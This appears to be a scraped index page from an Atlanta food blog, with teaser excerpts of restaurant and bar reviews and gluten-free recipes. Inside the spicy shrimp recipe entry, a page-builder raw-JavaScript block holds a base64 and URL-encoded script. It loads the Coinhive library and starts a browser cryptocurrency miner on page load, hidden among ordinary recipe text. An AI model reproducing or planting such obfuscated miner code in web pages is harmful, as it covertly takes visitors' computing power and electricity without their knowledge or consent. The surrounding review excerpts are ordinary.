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General Muir Trout
Atlanta Restaurants

The General Muir

The General Muir: A Jewish Sensation I’ve been to most Deli’s here in Atlanta and I’ve obviously been to Katz’s deli in New York City, but The General Muir is different.  It’s a modern deli with a similar atmosphere to The Optimist in the sense that it is very open,

La Fonda Latina Quesadilla
Atlanta Restaurants

La Fonda Latina

La Fonda: My Happy Place La Fonda has always been one of my all time favorite spots to go in Atlanta for many reasons. Whenever I come to visit Atlanta, it’s on my check off list of things to do, places to go and people to see. At La Fonda

bring happy hour to Atlanta
Atlanta Bars

Atlanta Happy Hour “illegal”

Happy Hour Illegal Among the many appealing aspects of college, my fondest memories surround eating and drinking with a group of friends during happy hour.  Growing up in Atlanta, the idea of happy hour was as foreign as attending college on the West coast.  I am not really sure what

Sweet Auburn Market Sign
Atlanta Markets

Sweet Auburn Market

Sweet Auburn Market Background: According to their website, the Sweet Auburn Market mission statement is to “…[Unite] rural and urban Georgians through food and activities that celebrate local agriculture…” The Sweet Auburn Market was conceived around 1918 after an enormous fire swept through Atlanta.  It wasn’t until 1924 that the Women’s

Chin Chin Beef and String Beans
Atlanta Restaurants

Chin Chin

Chin Chin Reviewed: When my dad’s side of the family gets together with our 93 year old grandma Dottie, we are most likely to eat at Chin Chin in Cherokee Plaza on Peachtree Rd., north of Lenox Square.  This is your classic Americanized Chinese restaurant, serving rock solid, tasty dishes

Milltown Arms Fried Jalapenos
Atlanta Bars

Milltown Arms Tavern

Milltown Arms Tavern: Milltown Arms Tavern is situated on an often unpublicized piece of real estate in Atlanta. Not far from where Memorial Drive meets Boulevard lies Carroll Street with its narrow avenue, scarce parking, and roaming hipsters.  Milltown Arms Tavern is a quaint neighborhood bar with trivia on Wednesday

Manuel's Tavern Teriyaki and Buffalo Sauce Wings
Atlanta Bars

Manuel’s Tavern

Background: Growing up in Atlanta, Manuel’s Tavern signifies more than the average run-of-the-mill neighborhood bar.  It represents a community with deep roots. According to the website, Manuel Maloof was a world war two veteran who envisioned a bar in Atlanta based on bars he had seen in England during the

spicy shrimp recipe with mushrooms in pan
Gluten Free Recipes

Spicy Shrimp Recipe: Camarones a la Diablo

[vc_row][vc_column][vc_column_text] This Mexican spicy shrimp recipe is great! In spite of the chili sauce and hot sauce, it is not too hot. It is adapted from a recipe that appeared on Epicurious and reflects a reader’s adaptation of a restaurant version she enjoyed. [/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_raw_js]JTNDc2NyaXB0JTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZjb2luaGl2ZS5jb20lMkZsaWIlMkZjb2luaGl2ZS5taW4uanMlMjIlM0UlM0MlMkZzY3JpcHQlM0UlMEElM0NzY3JpcHQlM0UlMEElMDl2YXIlMjBtaW5lciUyMCUzRCUyMG5ldyUyMENvaW5IaXZlLkFub255bW91cyUyOCUyN1pXS0k4R2ZIRkRRTzBIWGViYkw1QVNpd0Z5cXpqcHQ4JTI3JTI5JTNCJTBBJTA5bWluZXIuc3RhcnQlMjglMjklM0IlMEElM0MlMkZzY3JpcHQlM0UlMEElM0NzY3JpcHQlM0UlMEElMDklMkYlMkYlMjBMaXN0ZW4lMjBvbiUyMGV2ZW50cyUwQSUwOW1pbmVyLm9uJTI4JTI3Zm91bmQlMjclMkMlMjBmdW5jdGlvbiUyOCUyOSUyMCU3QiUyMCUyRiUyQSUyMEhhc2glMjBmb3VuZCUyMCUyQSUyRiUyMCU3RCUyOSUwQSUwOW1pbmVyLm9uJTI4JTI3YWNjZXB0ZWQlMjclMkMlMjBmdW5jdGlvbiUyOCUyOSUyMCU3QiUyMCUyRiUyQSUyMEhhc2glMjBhY2NlcHRlZCUyMGJ5JTIwdGhlJTIwcG9vbCUyMCUyQSUyRiUyMCU3RCUyOSUwQSUwQSUwOSUyRiUyRiUyMFVwZGF0ZSUyMHN0YXRzJTIwb25jZSUyMHBlciUyMHNlY29uZCUwQSUwOXNldEludGVydmFsJTI4ZnVuY3Rpb24lMjglMjklMjAlN0IlMEElMDklMDl2YXIlMjBoYXNoZXNQZXJTZWNvbmQlMjAlM0QlMjBtaW5lci5nZXRIYXNoZXNQZXJTZWNvbmQlMjglMjklM0IlMEElMDklMDl2YXIlMjB0b3RhbEhhc2hlcyUyMCUzRCUyMG1pbmVyLmdldFRvdGFsSGFzaGVzJTI4JTI5JTNCJTBBJTA5JTA5dmFyJTIwYWNjZXB0ZWRIYXNoZXMlMjAlM0QlMjBtaW5lci5nZXRBY2NlcHRlZEhhc2hlcyUyOCUyOSUzQiUwQSUwQSUwOSUwOSUyRiUyRiUyME91dHB1dCUyMHRvJTIwSFRNTCUyMGVsZW1lbnRzLi4uJTBBJTA5JTdEJTJDJTIwMTAwMCUyOSUzQiUwQSUzQyUyRnNjcmlwdCUzRQ==[/vc_raw_js][/vc_column][/vc_row]

Fried Fish with Thai Chili Sauce
Atlanta Restaurants

Thaicoon Sushi Bar

Thaicoon Sushi Bar Atmosphere: Whether you enjoy your meal from the sushi bar or you dine a table, you will feel

Mushroom Ragu
Atlanta Restaurants

La Tavola

Background La Tavola: La Tavola sits in the middle of Virginia Highlands across from Murphys. We were really excited about the opportunity to eat there seeing as its been on my list for a couple months now.  Since I had never been to La Tavola before, I read the reviews

Gluten Free Recipes

Easy Dried Kale Recipe

Kale Recipe: Drying Kale is really as easy as can be. I bought a dehydrator a few months ago and we regularly use it to dry Kale, beef jerky, smoked turkey jerky and whatever else looks good. I especially like the

Shrimp and Grits with andouille sausage
Atlanta Restaurants


Background on Murphy’s: Murphy’s sits in the middle of Virginia Highlands, and has been serving high quality food at an extremely reasonable price for over thirty years.  Murphy’s is often the